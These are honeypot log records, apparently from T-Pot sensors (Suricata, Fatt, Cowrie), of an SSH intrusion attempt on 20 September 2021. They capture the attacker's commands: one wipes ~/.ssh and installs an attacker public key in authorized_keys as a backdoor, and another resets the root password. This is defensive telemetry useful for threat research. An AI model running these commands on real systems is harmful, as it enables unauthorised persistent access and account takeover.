20391	81.71.17.12	109.199.241.180	Suricata	2021-09-20 14:03:05.943535+03	2021-09-20 14:15:02.316613+03	{"_id": "iQXfAnwBvYTbRNuEsfeF", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "81.71.17.12", "asn": 5390, "as_org": "Euronet Communications B.V.", "latitude": 39.9289, "location": {"lat": 39.9289, "lon": 116.3883}, "timezone": "Asia/Shanghai", "longitude": 116.3883, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "81.71.17.12", "dest_ip": "192.168.20.116", "flow_id": 1606744755792868, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_client_banner"]}, "src_port": 32772, "dest_port": 22, "timestamp": "2021-09-20T11:03:05.943535Z", "@timestamp": "2021-09-20T11:03:05.943Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	\N
20392	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:03:05.943702+03	2021-09-20 14:15:02.317613+03	{"_id": "iwXfAnwBvYTbRNuEsvcc", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "81.71.17.12", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 32772, "timestamp": "2021-09-20T11:03:05.943702", "@timestamp": "2021-09-20T11:03:05.943Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
20393	81.71.17.12	109.199.241.180	Cowrie	2021-09-20 14:03:08.418446+03	2021-09-20 14:15:02.319613+03	{"_id": "jwXfAnwBvYTbRNuEuvci", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "81.71.17.12", "asn": 5390, "as_org": "Euronet Communications B.V.", "latitude": 39.9289, "location": {"lat": 39.9289, "lon": 116.3883}, "timezone": "Asia/Shanghai", "longitude": 116.3883, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "81.71.17.12", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "4f1a450cc316", "@version": "1", "duration": 2.750410556793213, "timestamp": "2021-09-20T11:03:08.418446Z", "@timestamp": "2021-09-20T11:03:08.418Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	\N
20394	81.71.17.12	109.199.241.180	Cowrie	2021-09-20 14:03:09.406384+03	2021-09-20 14:15:02.320614+03	{"_id": "kgXfAnwBvYTbRNuEvvcM", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 107, "type": "Cowrie", "geoip": {"ip": "81.71.17.12", "asn": 5390, "as_org": "Euronet Communications B.V.", "latitude": 39.9289, "location": {"lat": 39.9289, "lon": 116.3883}, "timezone": "Asia/Shanghai", "longitude": 116.3883, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f", "src_ip": "81.71.17.12", "ttylog": "log/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0 seconds", "session": "c2e41eb66fda", "@version": "1", "duration": 0.5597214698791504, "duplicate": true, "timestamp": "2021-09-20T11:03:09.406384Z", "@timestamp": "2021-09-20T11:03:09.406Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	\N
20395	81.71.17.12	109.199.241.180	Cowrie	2021-09-20 14:03:09.772725+03	2021-09-20 14:15:02.321612+03	{"_id": "kwXfAnwBvYTbRNuEvvcM", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "linux-powerpc64-msb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "81.71.17.12", "asn": 5390, "as_org": "Euronet Communications B.V.", "latitude": 39.9289, "location": {"lat": 39.9289, "lon": 116.3883}, "timezone": "Asia/Shanghai", "longitude": 116.3883, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "81.71.17.12", "eventid": "cowrie.session.params", "message": [], "session": "c2e41eb66fda", "@version": "1", "timestamp": "2021-09-20T11:03:09.772725Z", "@timestamp": "2021-09-20T11:03:09.772Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	\N
20396	81.71.17.12	109.199.241.180	Cowrie	2021-09-20 14:03:10.333325+03	2021-09-20 14:15:02.323614+03	{"_id": "lgXfAnwBvYTbRNuEwff1", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 2, "type": "Cowrie", "geoip": {"ip": "81.71.17.12", "asn": 5390, "as_org": "Euronet Communications B.V.", "latitude": 39.9289, "location": {"lat": 39.9289, "lon": 116.3883}, "timezone": "Asia/Shanghai", "longitude": 116.3883, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "3f1f9a5db692d999bb3d576b5e9956a242136e961ff3f52ba6202b1254ccdb99", "src_ip": "81.71.17.12", "ttylog": "log/tty/3f1f9a5db692d999bb3d576b5e9956a242136e961ff3f52ba6202b1254ccdb99", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/3f1f9a5db692d999bb3d576b5e9956a242136e961ff3f52ba6202b1254ccdb99 after 0 seconds", "session": "c2e41eb66fda", "@version": "1", "duration": 0.5606834888458252, "duplicate": true, "timestamp": "2021-09-20T11:03:10.333325Z", "@timestamp": "2021-09-20T11:03:10.333Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	\N
20397	81.71.17.12	109.199.241.180	Fatt	2021-09-20 14:03:05.952632+03	2021-09-20 14:15:02.324613+03	{"_id": "igXfAnwBvYTbRNuEsvcc", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "81.71.17.12", "asn": 5390, "as_org": "Euronet Communications B.V.", "latitude": 39.9289, "location": {"lat": 39.9289, "lon": 116.3883}, "timezone": "Asia/Shanghai", "longitude": 116.3883, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "src_ip": "81.71.17.12", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss", "hassh": "f555226df1963d1d3c09daf865abdc9a", "ccacts": "none", "ccastc": "none", "ceacts": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "ceastc": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "client": "SSH-2.0-libssh_0.9.6", "cmacts": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "cmastc": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}, "protocol": "ssh", "src_port": 32772, "dest_port": 22, "timestamp": "2021-09-20T11:03:05.952632", "@timestamp": "2021-09-20T11:03:05.952Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	\N
20398	81.71.17.12	109.199.241.180	Cowrie	2021-09-20 14:03:07.126615+03	2021-09-20 14:15:02.325613+03	{"_id": "jAXfAnwBvYTbRNuEtvc6", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "81.71.17.12", "asn": 5390, "as_org": "Euronet Communications B.V.", "latitude": 39.9289, "location": {"lat": 39.9289, "lon": 116.3883}, "timezone": "Asia/Shanghai", "longitude": 116.3883, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "81.71.17.12", "eventid": "cowrie.login.failed", "message": "login attempt [knockknockwhosthere/knockknockwhosthere] failed", "session": "4f1a450cc316", "@version": "1", "password": "knockknockwhosthere", "username": "knockknockwhosthere", "timestamp": "2021-09-20T11:03:07.126615Z", "@timestamp": "2021-09-20T11:03:07.126Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	\N
20399	81.71.17.12	109.199.241.180	Cowrie	2021-09-20 14:03:08.846748+03	2021-09-20 14:15:02.326613+03	{"_id": "jgXfAnwBvYTbRNuEuvci", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "linux-powerpc64-msb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "81.71.17.12", "asn": 5390, "as_org": "Euronet Communications B.V.", "latitude": 39.9289, "location": {"lat": 39.9289, "lon": 116.3883}, "timezone": "Asia/Shanghai", "longitude": 116.3883, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "81.71.17.12", "eventid": "cowrie.session.params", "message": [], "session": "c2e41eb66fda", "@version": "1", "timestamp": "2021-09-20T11:03:08.846748Z", "@timestamp": "2021-09-20T11:03:08.846Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	\N
20400	81.71.17.12	109.199.241.180	Cowrie	2021-09-20 14:03:08.847289+03	2021-09-20 14:15:02.328643+03	{"_id": "kAXfAnwBvYTbRNuEuvci", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "81.71.17.12", "asn": 5390, "as_org": "Euronet Communications B.V.", "latitude": 39.9289, "location": {"lat": 39.9289, "lon": 116.3883}, "timezone": "Asia/Shanghai", "longitude": 116.3883, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "input": "cd ~ && rm -rf .ssh && mkdir .ssh && echo \\"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "81.71.17.12", "eventid": "cowrie.command.input", "message": "CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \\"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~", "session": "c2e41eb66fda", "@version": "1", "timestamp": "2021-09-20T11:03:08.847289Z", "@timestamp": "2021-09-20T11:03:08.847Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	\N
20401	81.71.17.12	109.199.241.180	Cowrie	2021-09-20 14:03:09.773265+03	2021-09-20 14:15:02.329651+03	{"_id": "kQXfAnwBvYTbRNuEvvcM", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "81.71.17.12", "asn": 5390, "as_org": "Euronet Communications B.V.", "latitude": 39.9289, "location": {"lat": 39.9289, "lon": 116.3883}, "timezone": "Asia/Shanghai", "longitude": 116.3883, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "input": "cat /proc/cpuinfo | grep name | wc -l", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "81.71.17.12", "eventid": "cowrie.command.input", "message": "CMD: cat /proc/cpuinfo | grep name | wc -l", "session": "c2e41eb66fda", "@version": "1", "timestamp": "2021-09-20T11:03:09.773265Z", "@timestamp": "2021-09-20T11:03:09.773Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	\N
20402	81.71.17.12	109.199.241.180	Cowrie	2021-09-20 14:03:10.749918+03	2021-09-20 14:15:02.330645+03	{"_id": "lwXfAnwBvYTbRNuEwff1", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "81.71.17.12", "asn": 5390, "as_org": "Euronet Communications B.V.", "latitude": 39.9289, "location": {"lat": 39.9289, "lon": 116.3883}, "timezone": "Asia/Shanghai", "longitude": 116.3883, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "input": "echo \\"root:6b9SOVVpePNs\\"|chpasswd|bash", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "81.71.17.12", "eventid": "cowrie.command.input", "message": "CMD: echo \\"root:6b9SOVVpePNs\\"|chpasswd|bash", "session": "c2e41eb66fda", "@version": "1", "timestamp": "2021-09-20T11:03:10.749918Z", "@timestamp": "2021-09-20T11:03:10.749Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	\N
20403	81.71.17.12	109.199.241.180	Cowrie	2021-09-20 14:03:05.953273+03	2021-09-20 14:15:02.332642+03	{"_id": "hgXfAnwBvYTbRNuErve8", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc"], "geoip": {"ip": "81.71.17.12", "asn": 5390, "as_org": "Euronet Communications B.V.", "latitude": 39.9289, "location": {"lat": 39.9289, "lon": 116.3883}, "timezone": "Asia/Shanghai", "longitude": 116.3883, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "hassh": "f555226df1963d1d3c09daf865abdc9a", "macCS": ["hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1"], "compCS": ["none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "81.71.17.12", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "ecdh-sha2-nistp256", "ecdh-sha2-nistp384", "ecdh-sha2-nistp521", "diffie-hellman-group18-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group14-sha256", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "rsa-sha2-512", "rsa-sha2-256", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a", "session": "4f1a450cc316", "@version": "1", "timestamp": "2021-09-20T11:03:05.953273Z", "@timestamp": "2021-09-20T11:03:05.953Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}}	1	\N	cowrie.client.kex	\N	known attacker	\N
20404	81.71.17.12	109.199.241.180	Cowrie	2021-09-20 14:03:11.027583+03	2021-09-20 14:15:02.333642+03	{"_id": "mQXfAnwBvYTbRNuExffe", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 0, "type": "Cowrie", "geoip": {"ip": "81.71.17.12", "asn": 5390, "as_org": "Euronet Communications B.V.", "latitude": 39.9289, "location": {"lat": 39.9289, "lon": 116.3883}, "timezone": "Asia/Shanghai", "longitude": 116.3883, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "869f6f6aca028ec49ad101b26fb07dd0245f3f52b594425a6b1073078cffffbf", "src_ip": "81.71.17.12", "ttylog": "log/tty/869f6f6aca028ec49ad101b26fb07dd0245f3f52b594425a6b1073078cffffbf", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/869f6f6aca028ec49ad101b26fb07dd0245f3f52b594425a6b1073078cffffbf after 0 seconds", "session": "c2e41eb66fda", "@version": "1", "duration": 0.278336763381958, "duplicate": false, "timestamp": "2021-09-20T11:03:11.027583Z", "@timestamp": "2021-09-20T11:03:11.027Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	\N
20405	81.71.17.12	109.199.241.180	Cowrie	2021-09-20 14:03:12.247953+03	2021-09-20 14:15:02.334612+03	{"_id": "nAXfAnwBvYTbRNuEyffH", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 35, "type": "Cowrie", "geoip": {"ip": "81.71.17.12", "asn": 5390, "as_org": "Euronet Communications B.V.", "latitude": 39.9289, "location": {"lat": 39.9289, "lon": 116.3883}, "timezone": "Asia/Shanghai", "longitude": 116.3883, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "95df9ab820c0b94e87412330a566c7e47ceef0cfc297bbe2c51a198d1b017abe", "src_ip": "81.71.17.12", "ttylog": "log/tty/95df9ab820c0b94e87412330a566c7e47ceef0cfc297bbe2c51a198d1b017abe", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/95df9ab820c0b94e87412330a566c7e47ceef0cfc297bbe2c51a198d1b017abe after 0 seconds", "session": "c2e41eb66fda", "@version": "1", "duration": 0.558286190032959, "duplicate": true, "timestamp": "2021-09-20T11:03:12.247953Z", "@timestamp": "2021-09-20T11:03:12.247Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	\N
20406	81.71.17.12	109.199.241.180	Cowrie	2021-09-20 14:03:12.641295+03	2021-09-20 14:15:02.336646+03	{"_id": "nQXfAnwBvYTbRNuEyffH", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "linux-powerpc64-msb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "81.71.17.12", "asn": 5390, "as_org": "Euronet Communications B.V.", "latitude": 39.9289, "location": {"lat": 39.9289, "lon": 116.3883}, "timezone": "Asia/Shanghai", "longitude": 116.3883, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "81.71.17.12", "eventid": "cowrie.session.params", "message": [], "session": "c2e41eb66fda", "@version": "1", "timestamp": "2021-09-20T11:03:12.641295Z", "@timestamp": "2021-09-20T11:03:12.641Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	\N
20407	81.71.17.12	109.199.241.180	Cowrie	2021-09-20 14:03:13.199324+03	2021-09-20 14:15:02.337645+03	{"_id": "nwXfAnwBvYTbRNuEzfev", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 35, "type": "Cowrie", "geoip": {"ip": "81.71.17.12", "asn": 5390, "as_org": "Euronet Communications B.V.", "latitude": 39.9289, "location": {"lat": 39.9289, "lon": 116.3883}, "timezone": "Asia/Shanghai", "longitude": 116.3883, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "ab1fb68311b4d2a718123c07a514cfe211df2e9109eeecc6f6f953af961c763c", "src_ip": "81.71.17.12", "ttylog": "log/tty/ab1fb68311b4d2a718123c07a514cfe211df2e9109eeecc6f6f953af961c763c", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/ab1fb68311b4d2a718123c07a514cfe211df2e9109eeecc6f6f953af961c763c after 0 seconds", "session": "c2e41eb66fda", "@version": "1", "duration": 0.5581121444702148, "duplicate": true, "timestamp": "2021-09-20T11:03:13.199324Z", "@timestamp": "2021-09-20T11:03:13.199Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	\N
20408	81.71.17.12	109.199.241.180	Cowrie	2021-09-20 14:03:13.585138+03	2021-09-20 14:15:02.338631+03	{"_id": "oAXfAnwBvYTbRNuEzfew", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "linux-powerpc64-msb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "81.71.17.12", "asn": 5390, "as_org": "Euronet Communications B.V.", "latitude": 39.9289, "location": {"lat": 39.9289, "lon": 116.3883}, "timezone": "Asia/Shanghai", "longitude": 116.3883, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "81.71.17.12", "eventid": "cowrie.session.params", "message": [], "session": "c2e41eb66fda", "@version": "1", "timestamp": "2021-09-20T11:03:13.585138Z", "@timestamp": "2021-09-20T11:03:13.585Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	\N
